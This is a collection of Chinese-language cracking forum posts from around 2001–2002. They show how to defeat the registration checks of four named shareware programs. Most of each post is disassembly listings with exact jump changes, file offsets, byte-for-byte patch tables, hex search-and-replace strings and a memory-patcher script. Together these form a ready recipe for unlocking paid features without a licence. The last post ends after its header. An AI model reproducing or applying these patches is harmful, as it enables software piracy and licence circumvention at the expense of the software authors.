破解工具：w32dasm 黄金版中文版、File Info 2.45、UltraEdit

破解人：炎之川 (skipli@sina.com)

在下初学破解，水平还很低，暂时还只会爆破，望各位大客多多指点^_^

破解过程：
１. 先用 FI 2.45 看看主程序，没壳，这就方便了～
2. 用 w32dasm 黄金版中文版反汇编主程序，在“串式参考”中找到注册码无效时的提示“注册码校验失败!”，嘿嘿～就是这里啦

* Reference To: MSVCRT.strcmp, Ord:02B8h
|
:004038A3 E84E5B0000 Call 004093F6
:004038A8 59 pop ecx
:004038A9 85C0 test eax, eax
:004038AB 59 pop ecx
:004038AC 7435 je 004038E3 < ========= 不跳则注册码错误，改为 jne 004038E3
:004038AE 8B86A4000000 mov eax, dword ptr [esi+000000A4]
:004038B4 25FF0F0000 and eax, 00000FFF
:004038B9 3DB5040000 cmp eax, 000004B5
:004038BE 7423 je 004038E3 < ========= 不跳则注册码错误，改为 jne 004038E3
:004038C0 53 push ebx
:004038C1 53 push ebx

* Possible StringData Ref from Data Obj ->"注册码校验成功!
这个注册码有日期限制，请您注意"
->"及时更换."
|
:004038C2 683C024100 push 0041023C

* Reference To: MFC42.Ordinal:04B0, Ord:04B0h
|
:004038C7 E854550000 Call 00408E20
:004038CC C705BC07410082FFFFFF mov dword ptr [004107BC], FFFFFF82
:004038D6 8B86A4000000 mov eax, dword ptr [esi+000000A4]
:004038DC A3C0074100 mov dword ptr [004107C0], eax
:004038E1 EB9E jmp 00403881

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004038AC(C), :004038BE(C) < ========= 是这两处跳过来的
|
:004038E3 53 push ebx
:004038E4 53 push ebx

* Possible StringData Ref from Data Obj ->"注册码校验失败!" < ========= 往上看
|
:004038E5 682C024100 push 0041022C
:004038EA C705BC0741007D000000 mov dword ptr [004107BC], 0000007D

不过这样改完，随意输入注册码注册，会提示“注册码校验成功!这个注册码有日期限制，请您注意及时更换.”，还有陷阱啊，继续看～然后来到下面这里：

* Reference To: USER32.SendMessageA, Ord:0214h
|
:0040381F FF154CB74000 Call dword ptr [0040B74C]
:00403825 47 inc edi
:00403826 81FF30750000 cmp edi, 00007530
:0040382C 7CDA jl 00403808
:0040382E 8B86A4000000 mov eax, dword ptr [esi+000000A4]
:00403834 BF80969800 mov edi, 00989680
:00403839 3BC7 cmp eax, edi
:0040383B 765B jbe 00403898 < ========= 我猜这边的一大段就是真正比较注册码的，只是
:0040383D 3DFFE0F505 cmp eax, 05F5E0FF 基本上看不懂，干脆就直接把 765B 改 9090 吧
:00403842 7354 jnb 00403898 < ========= 7354 改 9090
:00403844 55 push ebp
:00403845 33D2 xor edx, edx
:00403847 8BEF mov ebp, edi
:00403849 8B8EA0000000 mov ecx, dword ptr [esi+000000A0]
:0040384F F7F5 div ebp
:00403851 50 push eax
:00403852 51 push ecx
:00403853 8BCE mov ecx, esi
:00403855 E8AA000000 call 00403904
:0040385A 8BC8 mov ecx, eax
:0040385C 8B86A4000000 mov eax, dword ptr [esi+000000A4]
:00403862 33D2 xor edx, edx
:00403864 5D pop ebp
:00403865 F7F7 div edi
:00403867 3BCA cmp ecx, edx
:00403869 752D jne 00403898 < ========= 改je 00403898 也行，不过干脆把 752D 改9090，
:0040386B 53 push ebx 省事一点(典型的菜鸟～不懂就直接蒙过去^_^)
:0040386C 53 push ebx

* Possible StringData Ref from Data Obj ->"注册码校验成功! < ========= 注册成功信息
感谢您对我们工作的支持."
|
:0040386D 68A8024100 push 004102A8

* Reference To: MFC42.Ordinal:04B0, Ord:04B0h
|
:00403872 E8A9550000 Call 00408E20
:00403877 C705BC07410083FFFFFF mov dword ptr [004107BC], FFFFFF83

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004038E1(U)
|

* Reference To: MFC42.Ordinal:0490, Ord:0490h
|
:00403881 E828550000 Call 00408DAE
:00403886 8B4004 mov eax, dword ptr [eax+04]

* Possible StringData Ref from Data Obj ->"程式猎人 版本 1.27- 兄弟制作组 " < ========= 软件作者有没有搞错啊，
->"荣誉出品" 明明是 1.30 版了！
|
:00403889 687C024100 push 0041027C
:0040388E 8B4820 mov ecx, dword ptr [eax+20]

* Reference To: MFC42.Ordinal:1837, Ord:1837h
|
:00403891 E8D2550000 Call 00408E68
:00403896 EB61 jmp 004038F9

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0040383B(C), :00403842(C), :00403869(C) < ========= 从几个地方跳过来的，往上看
|

* Possible StringData Ref from Data Obj ->"guest"
|
:00403898 6874024100 push 00410274
:0040389D FFB6A0000000 push dword ptr [esi+000000A0]

* Reference To: MSVCRT.strcmp, Ord:02B8h
|
:004038A3 E84E5B0000 Call 004093F6
:004038A8 59 pop ecx
:004038A9 85C0 test eax, eax
:004038AB 59 pop ecx
:004038AC 7535 jne 004038E3
:004038AE 8B86A4000000 mov eax, dword ptr [esi+000000A4]
:004038B4 25FF0F0000 and eax, 00000FFF
:004038B9 3DB5040000 cmp eax, 000004B5
:004038BE 7523 jne 004038E3
:004038C0 53 push ebx
:004038C1 53 push ebx

* Possible StringData Ref from Data Obj ->"注册码校验成功! < ========= 在这里出错，慢慢往上看
这个注册码有日期限制，请您注意"
->"及时更换."
|
:004038C2 683C024100 push 0041023C

此时改完，任意输入注册码，显示“注册码校验成功!感谢您对我们工作的支持.”。且帮助菜单下的“注册”项变灰色，未注册版本不能添加六个以上的程序组的限制也没有了，不过为了以防万一，干脆把会出现“不能添加六个以上的程序组”的地方也砍掉吧～

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401E48(U)
|
:00401E32 85F6 test esi, esi < ========= 对比
:00401E34 7414 je 00401E4A < ========= 跳则弹出提示，改为 jne 00401E4A 即可
:00401E36 8BC6 mov eax, esi
:00401E38 8B36 mov esi, dword ptr [esi]
:00401E3A 83C008 add eax, 00000008
:00401E3D B9B8084100 mov ecx, 004108B8
:00401E42 50 push eax
:00401E43 E86A020000 call 004020B2
:00401E48 EBE8 jmp 00401E32

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401E34(C) < ========= 从这里跳过来的，继续往上找
|
:00401E4A B998084100 mov ecx, 00410898
:00401E4F E8A3020000 call 004020F7
:00401E54 8BCF mov ecx, edi
:00401E56 E852FCFFFF call 00401AAD
:00401E5B 5F pop edi
:00401E5C 5E pop esi
:00401E5D C3 ret

:00401E5E B8B4994000 mov eax, 004099B4

* Reference To: MSVCRT._EH_prolog, Ord:0042h
|
:00401E63 E888750000 Call 004093F0
:00401E68 83EC28 sub esp, 00000028
:00401E6B 53 push ebx
:00401E6C 56 push esi
:00401E6D 57 push edi
:00401E6E 8BF9 mov edi, ecx
:00401E70 6A01 push 00000001

* Reference To: MFC42.Ordinal:18BE, Ord:18BEh
|
:00401E72 E8076F0000 Call 00408D7E
:00401E77 8DB7E0000000 lea esi, dword ptr [edi+000000E0]
:00401E7D 68B8074100 push 004107B8
:00401E82 FF36 push dword ptr [esi]

* Reference To: MSVCRT.strcmp, Ord:02B8h
|
:00401E84 E86D750000 Call 004093F6
:00401E89 33DB xor ebx, ebx
:00401E8B 59 pop ecx
:00401E8C 3BC3 cmp eax, ebx
:00401E8E 59 pop ecx
:00401E8F 0F84D5000000 je 00401F6A
:00401E95 A1BC074100 mov eax, dword ptr [004107BC]
:00401E9A 83F883 cmp eax, FFFFFF83
:00401E9D 7428 je 00401EC7
:00401E9F 83F882 cmp eax, FFFFFF82
:00401EA2 7423 je 00401EC7
:00401EA4 A1C4084100 mov eax, dword ptr [004108C4]
:00401EA9 8B0DA4084100 mov ecx, dword ptr [004108A4]
:00401EAF 03C8 add ecx, eax
:00401EB1 83F906 cmp ecx, 00000006
:00401EB4 7C11 jl 00401EC7
:00401EB6 53 push ebx
:00401EB7 53 push ebx

* Possible StringData Ref from Data Obj ->"对不起，您正在使用的《程式猎人》属于未注册版。" < ======= 是这里了
->" 往上找
您只有在注册后，才能添加六个以上的程序组。
为"
->"支持国产软件，请您合作。

要了解详细情况，请参"
->"阅帮助。"
|
:00401EB8 6890004100 push 00410090

OK～到此全部搞定，随意输入注册码即可注册成功，完整的解除了未注册版本的限制。整理一下，修改的相应的offset为：

原版 破解
001E34: 74 75
00383B: 76 90
00383C: 5B 90
003842: 73 90
003843: 54 90
003869: 75 90
00386A: 2D 90
0038AC: 75 74
0038BE: 75 74

炎之川 于 2001.10.25
欢迎访问汉化新世纪: http://www.hanzify.org


疯狂单词v1.6

 标 题:疯狂单词v1.6破解 (5千字)
发信人:tieji
时 间:2001-11-2 13:58:37
详细信息:
破解人　：tieji
破解时间：2001-11-1
破解工具：TRW2000 V1.23 W32dasm黄金版 Procdump　　UltraEdit-32
作者主页:http://wordslover.yeah.net
说 明:被公认为智能化程度最高的单词记忆软件。依靠内建的词汇量动态
估测，自动难度进级，效果自适应复习，随机试题生成等智能块，
以及36000词条的记法例句记忆库，用户可以轻松进入一种疯狂状态,
将单词记忆的效率发挥到及至。
先用Fi检测，发现程序有壳，upx v0.62的,用Procdump轻松去壳......

启动软件，填入注册信息：
用户名称：caoxinyu
电子邮箱: caoxinyu@xxxxxxx.com
注册号码：54321123455432112345 <----填20个(为什么?看下面说明)
打开TRW2000，下断点bpx hmemcpy，点确定，被拦下。
Bc* 清断点，pmodule 回程序领空，然后按F12六次（七次就是出现注册失败框了），按F10来到：

:00405F43 8B44243C mov eax, dword ptr [esp+3C]
:00405F47 8B40F8 mov eax, dword ptr [eax-08]
:00405F4A 83F814 cmp eax, 00000014 ;注册码是否为20位
:00405F4D 7413 je 00405F62 ;不是就完,是就跳
:00405F4F 6A00 push 00000000
:00405F51 6A00 push 00000000
:00405F53 68C8E74700 push 0047E7C8
:00405F58 E8B9B20400 call 00451216 　;出现"对不起,注册号码不正确,您不是合法的注册用户!"
:00405F5D E983000000 jmp 00405FE5
:00405F62 56 push esi
:00405F63 57 push edi
:00405F64 33F6 xor esi, esi
:00405F66 8D7C2448 lea edi, dword ptr [esp+48]
:00405F6A 6A01 push 00000001
:00405F6C 8D4C2410 lea ecx, dword ptr [esp+10]
:00405F70 56 push esi
:00405F71 51 push ecx
:00405F72 8D4C2450 lea ecx, dword ptr [esp+50]
:00405F76 E847CF0300 call 00442EC2
:00405F7B 8B00 mov eax, dword ptr [eax]
:00405F7D 50 push eax
:00405F7E E8A2030300 call 00436325
:00405F83 83C404 add esp, 00000004
:00405F86 8D4C240C lea ecx, dword ptr [esp+0C]
:00405F8A 8907 mov dword ptr [edi], eax
:00405F8C E86CF50300 call 004454FD
:00405F91 46 inc esi
:00405F92 83C704 add edi, 00000004
:00405F95 83FE14 cmp esi, 00000014
:00405F98 7CD0 jl 00405F6A　　　　　　；２０次循环
:00405F9A 8D4C2410 lea ecx, dword ptr [esp+10]
:00405F9E E8ED5B0000 call 0040BB90　　　 ;关键call,跟进去（见下）
:00405FA3 5F pop edi
:00405FA4 5E pop esi
:00405FA5 84C0 test al, al ;当al不等于零时，下面就跳，即成功
:00405FA7 6A00 push 00000000
:00405FA9 6A00 push 00000000
:00405FAB 7507 jne 00405FB ;关键跳,跳过去就成功
:00405FAD 68C8E74700 push 0047E7C8 ;出现"对不起,注册号码不正确,您不是合法的注册用户!"
:00405FB2 EB1C jmp 00405FD0　 ;到此处就完！
:00405FB4 68A8E74700 push 0047E7A8
:00405FB9 E858B20400 call 00451216　　　 ;出现"恭喜,您已经是合法的注册用户!"
:00405FBE 8D4C2408 lea ecx, dword ptr [esp+08]
:00405FC2 E8495D0000 call 0040BD10
:00405FC7 6A00 push 00000000
:00405FC9 6A00 push 00000000
:00405FCB 687CE74700 push 0047E77C ;出现"您需要退出后重新运行疯狂单词使注册生效！"
:00405FD0 E841B20400 call 00451216 ;调出提示框
======================================================================================

上面的:00405F9E E8ED5B0000 call 0040BB90　到这里：

:0040BB90 53 push ebx
:0040BB91 56 push esi
:0040BB92 8BF1 mov esi, ecx
:0040BB94 8D4608 lea eax, dword ptr [esi+08]
:0040BB97 8D4E34 lea ecx, dword ptr [esi+34]
:0040BB9A 50 push eax
:0040BB9B 51 push ecx
:0040BB9C 8BCE mov ecx, esi
:0040BB9E E88DFDFFFF call 0040B930 ;计算比较注册码，
:0040BBA3 8BCE mov ecx, esi
:0040BBA5 8AD8 mov bl, al ;将比较结果al放入bl
:0040BBA7 E864010000 call 0040BD10 ;此call好像是比较注册信息中有无opq98@263.net
;http://iceworld.126.com/等信息，防破解吧。
:0040BBAC 8AC3 mov al, bl ;将比较结果bl放回al
:0040BBAE 5E pop esi
:0040BBAF 5B pop ebx
:0040BBB0 C3 ret
==============================================
当然只在注册的地方改改跳转是没有用的，这软件在有限制的地方都计算比较注册码，本人又
无力算出注册码，革命尚未成功，还得继续努力......
比较了几个有限制的地方，发现都有 test al, al jne 语句 ，只要al不为零即可，
而且在test al, al前都有一个call,这些call的内容与上面的call 0040BB90差不多，看上面的
call: 只要最后的mov a1 ,bl 送入al的不为零即可，而从上面的计算bl肯定为零（除非瞎猫
碰到死耗子，注册码给蒙对了，我可没这么好的运气），分析：将有限制处的mov a1 ,bl　 语句nop掉。

调起UltraEdit-32，查8BCE8AD8有八处，分别如下：
8AD8E8640100008AC3改为----->8AD8E8640100009090
8AD8E8340100008AC3改为----->8AD8E8340100009090
8AD8E8040100008AC3改为----->8AD8E8040100009090
8AD8E8D40000008AC3改为----->8AD8E8D40000009090
8AD8E8A40000008AC3改为----->8AD8E8A40000009090
8AD8E8740000008AC3改为----->8AD8E8740000009090
8AD8E8440000008AC3改为----->8AD8E8440000009090
8AD8E8140000008AC3改为----->8AD8E8140000009090

运行，哈！限制全没了。

爆破完成！


公务员之路3.0

标 题:公务员之路3.0
发信人:飞狐
时 间:2002/02/24 09:42pm
详细信息:

公务员之路3.0的暴力pj(所用的工具有DEDE2.5、十六进制的编辑器如Hex workshop3.1)
它是公务员考试的较好的练习软件。此软件是用dephi编程的。所以用DEDE2.5反编译此软件。
1、单击MNKSUNIT，在右面你可以看到BUTTON1CLICK，双击，看到如下代码：
* Reference to TMainFORM instance
|
00533090 A174DF5300 mov eax, dword ptr [$53DF74]
00533095 8B00 mov eax, [eax]

* Reference to field TMainFORM.OFFS_0304
|
00533097 80B80403000001 cmp byte ptr [eax+$0304], $01
0053309E 7524 jnz 005330C4　 ******①

* Reference to Z_MnksFORM
|
005330A0 A194FE5300 mov eax, dword ptr [$53FE94]

|
005330A5 E8C670F1FF call 0044A170

* Reference to TZ_ZhcsFORM instance
|
005330AA A18CE05300 mov eax, dword ptr [$53E08C]
005330AF 8B00 mov eax, [eax]
005330B1 8B10 mov edx, [eax]

* Possible reference to virtual method TZ_ZhcsFORM.OFFS_00D8
|
005330B3 FF92D8000000 call dword ptr [edx+$00D8]

* Reference to Z_MnksFORM
|
005330B9 A194FE5300 mov eax, dword ptr [$53FE94]

|
005330BE E8B570F1FF call 0044A178
005330C3 C3 ret

005330C4 6A00 push $00

* Possible String Reference to: '提示'
|
005330C6 B9E0305300 mov ecx, $005330E0

* Possible String Reference to: '本功能只对注册版开放，请及时注册。'
|
005330CB BAE8305300 mov edx, $005330E8

* Reference to TApplication instance
|
005330D0 A150E25300 mov eax, dword ptr [$53E250]
005330D5 8B00 mov eax, [eax]

|
005330D7 E8B0A2F1FF call 0044D38C
005330DC C3 ret

2、双击BUTTON2CLICK，看到以下代码，
005338B9 8B00 mov eax, [eax]

* Reference to field TMainFORM.OFFS_0304
|
005338BB 80B80403000001 cmp byte ptr [eax+$0304], $01
005338C2 7524 jnz 005338E8 *******②
* Reference to Z_MnksFORM
|
005338C4 A194FE5300 mov eax, dword ptr [$53FE94]

|
005338C9 E8A268F1FF call 0044A170

* Reference to TZ_XzcsFORM instance
|
005338CE A1ECDF5300 mov eax, dword ptr [$53DFEC]
005338D3 8B00 mov eax, [eax]
005338D5 8B10 mov edx, [eax]

* Possible reference to virtual method TZ_XzcsFORM.OFFS_00D8
|
005338D7 FF92D8000000 call dword ptr [edx+$00D8]

* Reference to Z_MnksFORM
|
005338DD A194FE5300 mov eax, dword ptr [$53FE94]

|
005338E2 E89168F1FF call 0044A178
005338E7 C3 ret

005338E8 6A00 push $00

* Possible String Reference to: '提示'
|
005338EA B904395300 mov ecx, $00533904

* Possible String Reference to: '本功能只对注册版开放，请及时注册。'
|
005338EF BA0C395300 mov edx, $0053390C

* Reference to TApplication instance
|
005338F4 A150E25300 mov eax, dword ptr [$53E250]
005338F9 8B00 mov eax, [eax]

|
005338FB E88C9AF1FF call 0044D38C
00533900 C3 ret
3、双击BUTTON3CLICK，看到以下代码，
* Reference to TMainFORM instance
|
00533930 A174DF5300 mov eax, dword ptr [$53DF74]
00533935 8B00 mov eax, [eax]

* Reference to field TMainFORM.OFFS_0304
|
00533937 80B80403000001 cmp byte ptr [eax+$0304], $01
0053393E 7524 jnz 00533964 *******③

* Reference to Z_MnksFORM
|
00533940 A194FE5300 mov eax, dword ptr [$53FE94]

|
00533945 E82668F1FF call 0044A170

* Reference to TZ_SlksFORM instance
|
0053394A A1B8E45300 mov eax, dword ptr [$53E4B8]
0053394F 8B00 mov eax, [eax]
00533951 8B10 mov edx, [eax]

* Possible reference to virtual method TZ_SlksFORM.OFFS_00D8
|
00533953 FF92D8000000 call dword ptr [edx+$00D8]

* Reference to Z_MnksFORM
|
00533959 A194FE5300 mov eax, dword ptr [$53FE94]

|
0053395E E81568F1FF call 0044A178
00533963 C3 ret

00533964 6A00 push $00

* Possible String Reference to: '提示'
|
00533966 B980395300 mov ecx, $00533980

* Possible String Reference to: '本功能只对注册版开放，请及时注册。'
|
0053396B BA88395300 mov edx, $00533988

* Reference to TApplication instance
|
00533970 A150E25300 mov eax, dword ptr [$53E250]
00533975 8B00 mov eax, [eax]

|
00533977 E8109AF1FF call 0044D38C
0053397C C3 ret
4、双击fromshow看到如下代码：
* Reference to TMainFORM instance
|
005339AC A174DF5300 mov eax, dword ptr [$53DF74]
005339B1 8B00 mov eax, [eax]

* Reference to field TMainFORM.OFFS_0304
|
005339B3 80B80403000000 cmp byte ptr [eax+$0304], $00
005339BA 7510 jnz 005339CC　　******④

* Possible String Reference to: '全真模拟考试站（试用版限制使用）'
|
005339BC BAE4395300 mov edx, $005339E4

* Reference to Z_MnksFORM
|
005339C1 A194FE5300 mov eax, dword ptr [$53FE94]

|
005339C6 E8A9B7EFFF call 0042F174
005339CB C3 ret

* Possible String Reference to: '全真模拟考试站'
|
005339CC BA103A5300 mov edx, $00533A10

* Reference to Z_MnksFORM
|
005339D1 A194FE5300 mov eax, dword ptr [$53FE94]

|
005339D6 E899B7EFFF call 0042F174
005339DB C3 ret
5、单击MainUnit,在右面看到FORMCreate,双击，看到如下代码：
* Reference to field TMainFORM.OFFS_0304
|
00533FAD 80BB0403000001 cmp byte ptr [ebx+$0304], $01
00533FB4 752E jnz 00533FE4　*******⑤

* Possible String Reference to: '本软件已注册'
|
00533FB6 BA60405300 mov edx, $00534060

* Reference to control TMainFORM.Panel2 : TPanel
|
00533FBB 8B83EC020000 mov eax, [ebx+$02EC]

|
00533FC1 E8AEB1EFFF call 0042F174

* Possible String Reference to: '公务员录用考试模拟训练软件《公务员?
| 贰?.0（注册版）'
|
00533FC6 BA78405300 mov edx, $00534078

* Reference to MainFORM
|
00533FCB A19CFE5300 mov eax, dword ptr [$53FE9C]

|
00533FD0 E89FB1EFFF call 0042F174
00533FD5 33D2 xor edx, edx

* Reference to control TMainFORM.Button1 : TSpeedButton
|
00533FD7 8B83F8020000 mov eax, [ebx+$02F8]

|
00533FDD E87AB0EFFF call 0042F05C
00533FE2 EB3D jmp 00534021
00533FE4 8D45FC lea eax, [ebp-$04]

* Reference to field TMainFORM.OFFS_0300
|
00533FE7 8B8B00030000 mov ecx, [ebx+$0300]

* Possible String Reference to: '机器码:'
|
00533FED BAB8405300 mov edx, $005340B8

|
00533FF2 E82501EDFF call 0040411C
00533FF7 8B55FC mov edx, [ebp-$04]

* Reference to control TMainFORM.Panel2 : TPanel
|
00533FFA 8B83EC020000 mov eax, [ebx+$02EC]

|
00534000 E86FB1EFFF call 0042F174

* Possible String Reference to: '公务员录用考试模拟训练软件《公务员?
| 贰?.0（共享版）'
|
00534005 BAC8405300 mov edx, $005340C8

* Reference to MainFORM
|
0053400A A19CFE5300 mov eax, dword ptr [$53FE9C]

|
0053400F E860B1EFFF call 0042F174

6、单击GgkmUnit,双击右面的FORMSHOW
0050061F 80B80403000000 cmp byte ptr [eax+$0304], $00
00500626 750F jnz 00500637 ⑥******
* Possible String Reference to: '公共科目训练场（共享版只能选《马克?
00500628 BA40065000 mov edx, $00500640
* Reference to Z_GgkmFORM
  双击右面的COMBOBOX1CHAMGE
0050062D A104FE5300 mov eax, dword ptr [$53FE04]
00500632 E83DEBF2FF call 0042F174
00500637 C3 ret
004FFCB9 80B80403000000 cmp byte ptr [eax+$0304], $00
004FFCC0 751D jnz 004FFCDF *******⑦
004FFCC2 33D2 xor edx, edx

* Reference to control TZ_GgkmFORM.ComboBox1 : TComboBox
|
004FFCC4 8B83D8020000 mov eax, [ebx+$02D8]

|
004FFCCA E89D79F2FF call 0042766C

* Possible String Reference to: '马克思主义哲学'
|
004FFCCF BA44005000 mov edx, $00500044

* Reference to control TZ_GgkmFORM.ComboBox1 : TComboBox
|
004FFCD4 8B83D8020000 mov eax, [ebx+$02D8]

|
004FFCDA E895F4F2FF call 0042F174
7、单击Xznlunit,双击右面的FORMShow,
|
0051EB6E 80B80403000000 cmp byte ptr [eax+$0304], $00
0051EB75 7579 jnz 0051EBF0 ⑧******
0051EB77 33D2 xor edx, edx

* Reference to control TZ_XznlFORM.Button4 : TButton
|
0051EB79 8B83E8020000 mov eax, [ebx+$02E8]
0051EB7F 8B08 mov ecx, [eax]

* Possible reference to virtual method TButton.OFFS_5C
|
0051EB81 FF515C call dword ptr [ecx+$5C]
0051EB84 33D2 xor edx, edx

6、关闭此文件。
7、再用十六进制的编辑器如Hex workshop3.1编辑此文件。
查找ASCⅡ码
①80B804030000007524A194FE5300E8C670F1FF改75为74
②7524A194FE5300E8A268F1FFA1ECDF5300　　改75为74
③7524A194FE5300E82668F1FA1B8E45300　　改75为74
④7510BAE4395300A194FE5300E8A9B7EFFF　　改75为74
⑤752EBA604053008B83EC020000E8AEB1EFFF　改75为74
⑥750FBA40065000A104FE5300E83DEBF2FF 改75为74
⑦751D33D28B83D8020000 改75为74
⑧757933D28B83E80200008B08 改75为74
修改完成后，就变成正式版。没有了功能限制。


商务王

 标 题:商务王 (7千字)
发信人:sxssl
时 间:2002-1-30 16:53:56
详细信息:
软件名称：商务王
下载地址http://js.skycn.net/down/sww.exe
软件介绍：
全面优化、占用资源极少，拥有全国各地10多万用户。1.创新点:a.经营情况科学预见性；b.物品费用混合记帐；c.记帐更为快速简单；d.集应收应付款大成。2.功能特点:本软件是集进销存、财务报表、决策于一体。具备完善的财务系统，即时生成各种财务报表，及时反映企业生产经营状况；自动进行帐单汇总，统计各单据类型所发生的情况；自动计提固定资产的折旧。非常方便地了解成本、库存、费用变化情况，进行成本费用的分类核算，自动生成成本汇总，即时分析每张帐单的毛利。自动发生现金和银行之间幡的流转，以达到快速、准确的记帐功能。最大限度的应收应付管理、及时反映应收应付的各种款项以及独特、简结、方便的结算功能，满足结算不同帐单的需求。随时可以查阅单据的原始凭证以及商品的流向跟踪，让掌握商品的动态情况，快捷方便的数据导入功能使记帐更方便、更准确。自动生成业务员业绩排行榜，客户销售排行榜和商品销售排行榜。简便实用、特强创新的商店、中小企业商务管理系统，自动付欠款统计、自动库存统计、自动生成出纳帐簿、自动生成会计报表等，全面反映采购、销售、库存、业务档案、财务情况，即时产生经营情况分析表。3.特别适用：人手较少的个体户、商场。让您不用咨询会计也能一清二楚地了解经营情况。
用PEID检测是用ASPACK压缩的，脱壳用PW32ASM90反汇编，找字符串得如下结果。

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:005A6FCE(C)
|
:005A6FD5 A12CB65D00 mov eax, dword ptr [005DB62C]
:005A6FDA 8B00 mov eax, dword ptr [eax]
:005A6FDC FF80F8040000 inc dword ptr [eax+000004F8]
:005A6FE2 8D55F8 lea edx, dword ptr [ebp-08]
:005A6FE5 8B8364030000 mov eax, dword ptr [ebx+00000364]
:005A6FEB E82C40EAFF call 0044B01C
:005A6FF0 FF75F8 push [ebp-08]
:005A6FF3 68A4715A00 push 005A71A4
:005A6FF8 8D55F4 lea edx, dword ptr [ebp-0C]
:005A6FFB 8B8368030000 mov eax, dword ptr [ebx+00000368]
:005A7001 E81640EAFF call 0044B01C
:005A7006 FF75F4 push [ebp-0C]
:005A7009 68A4715A00 push 005A71A4
:005A700E 8D55F0 lea edx, dword ptr [ebp-10]
:005A7011 8B836C030000 mov eax, dword ptr [ebx+0000036C]
:005A7017 E80040EAFF call 0044B01C
:005A701C FF75F0 push [ebp-10]
:005A701F 68A4715A00 push 005A71A4
:005A7024 8D55EC lea edx, dword ptr [ebp-14]
:005A7027 8B8370030000 mov eax, dword ptr [ebx+00000370]
:005A702D E8EA3FEAFF call 0044B01C
:005A7032 FF75EC push [ebp-14]
:005A7035 8D45FC lea eax, dword ptr [ebp-04]
:005A7038 BA07000000 mov edx, 00000007
:005A703D E8A2E1E5FF call 004051E4
:005A7042 8B45FC mov eax, dword ptr [ebp-04]
:005A7045 50 push eax
:005A7046 8D55E8 lea edx, dword ptr [ebp-18]
:005A7049 8B8360030000 mov eax, dword ptr [ebx+00000360]
:005A704F E8C83FEAFF call 0044B01C
:005A7054 8B45E8 mov eax, dword ptr [ebp-18]
:005A7057 5A pop edx
:005A7058 E82FF6FFFF call 005A668C ----- 比较注册码的CALL
:005A705D 84C0 test al, al ----- 测试注册码是否正确
:005A705F 7530 jne 005A7091---相等就跳改7530为7430即注册成功
:005A7061 6A10 push 00000010

* Possible StringData Ref from Code Obj ->"错误"
|
:005A7063 B9A8715A00 mov ecx, 005A71A8

* Possible StringData Ref from Code Obj ->" 注 册 号 错 误! "
|
:005A7068 BAB0715A00 mov edx, 005A71B0
:005A706D A148BC5D00 mov eax, dword ptr [005DBC48]
:005A7072 8B00 mov eax, dword ptr [eax]
:005A7074 E8BB44ECFF call 0046B534
:005A7079 A114E35D00 mov eax, dword ptr [005DE314]
:005A707E 8B8064030000 mov eax, dword ptr [eax+00000364]
:005A7084 8B10 mov edx, dword ptr [eax]
:005A7086 FF92C0000000 call dword ptr [edx+000000C0]
:005A708C E9B7000000 jmp 005A7148

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:005A76E3(C)
|
:005A76EA A12CB65D00 mov eax, dword ptr [005DB62C]
:005A76EF 8B00 mov eax, dword ptr [eax]
:005A76F1 FF80F8040000 inc dword ptr [eax+000004F8]
:005A76F7 8D55F8 lea edx, dword ptr [ebp-08]
:005A76FA 8B8374030000 mov eax, dword ptr [ebx+00000374]
:005A7700 E81739EAFF call 0044B01C
:005A7705 FF75F8 push [ebp-08]
:005A7708 6814795A00 push 005A7914
:005A770D 8D55F4 lea edx, dword ptr [ebp-0C]
:005A7710 8B8378030000 mov eax, dword ptr [ebx+00000378]
:005A7716 E80139EAFF call 0044B01C
:005A771B FF75F4 push [ebp-0C]
:005A771E 6814795A00 push 005A7914
:005A7723 8D55F0 lea edx, dword ptr [ebp-10]
:005A7726 8B837C030000 mov eax, dword ptr [ebx+0000037C]
:005A772C E8EB38EAFF call 0044B01C
:005A7731 FF75F0 push [ebp-10]
:005A7734 6814795A00 push 005A7914
:005A7739 8D55EC lea edx, dword ptr [ebp-14]
:005A773C 8B8380030000 mov eax, dword ptr [ebx+00000380]
:005A7742 E8D538EAFF call 0044B01C
:005A7747 FF75EC push [ebp-14]
:005A774A 8D45FC lea eax, dword ptr [ebp-04]
:005A774D BA07000000 mov edx, 00000007
:005A7752 E88DDAE5FF call 004051E4
:005A7757 8B45FC mov eax, dword ptr [ebp-04]
:005A775A 50 push eax
:005A775B 8D55E8 lea edx, dword ptr [ebp-18]
:005A775E 8B8388030000 mov eax, dword ptr [ebx+00000388]
:005A7764 E8B338EAFF call 0044B01C
:005A7769 8B45E8 mov eax, dword ptr [ebp-18]
:005A776C 50 push eax
:005A776D 8B838C030000 mov eax, dword ptr [ebx+0000038C]
:005A7773 E8F8ACFDFF call 00582470
:005A7778 8BC8 mov ecx, eax
:005A777A 58 pop eax
:005A777B 5A pop edx
:005A777C E87FF1FFFF call 005A6900----- 比较增加号的CALL
:005A7781 84C0 test al, al----- 测试增加号是否正确
:005A7783 7530 jne 005A77B5相等就跳改7530为7430即增加用户成功
:005A7785 6A10 push 00000010

* Possible StringData Ref from Code Obj ->"错误"
|
:005A7787 B918795A00 mov ecx, 005A7918

* Possible StringData Ref from Code Obj ->" 增 加 号 错 误! "
|
:005A778C BA20795A00 mov edx, 005A7920
:005A7791 A148BC5D00 mov eax, dword ptr [005DBC48]
:005A7796 8B00 mov eax, dword ptr [eax]
:005A7798 E8973DECFF call 0046B534
:005A779D A114E35D00 mov eax, dword ptr [005DE314]
:005A77A2 8B8074030000 mov eax, dword ptr [eax+00000374]
:005A77A8 8B10 mov edx, dword ptr [eax]
:005A77AA FF92C0000000 call dword ptr [edx+000000C0]
:005A77B0 E912010000 jmp 005A78C7

这个软件的破解非常简单，问题有意思的是当我做好它的内存补丁
O=Cr_SWGL.exe:
F=SWGL.exe:

p=005a705f/75,30/74,30:
p=005a7783/75,30/74,30:

$
内存补丁运行后，用任意注册码注册即告注册成功，增加用户成功，此后每次正常启动软件软件即告已注册，内存补丁居然成了注册机。
哪位大侠能帮助分析一下，此软件是如何计算和比较注册码的。

标 题:我破过 (227字)
发信人:xjl13870871050
时 间:2002-1-30 18:13:03
详细信息:

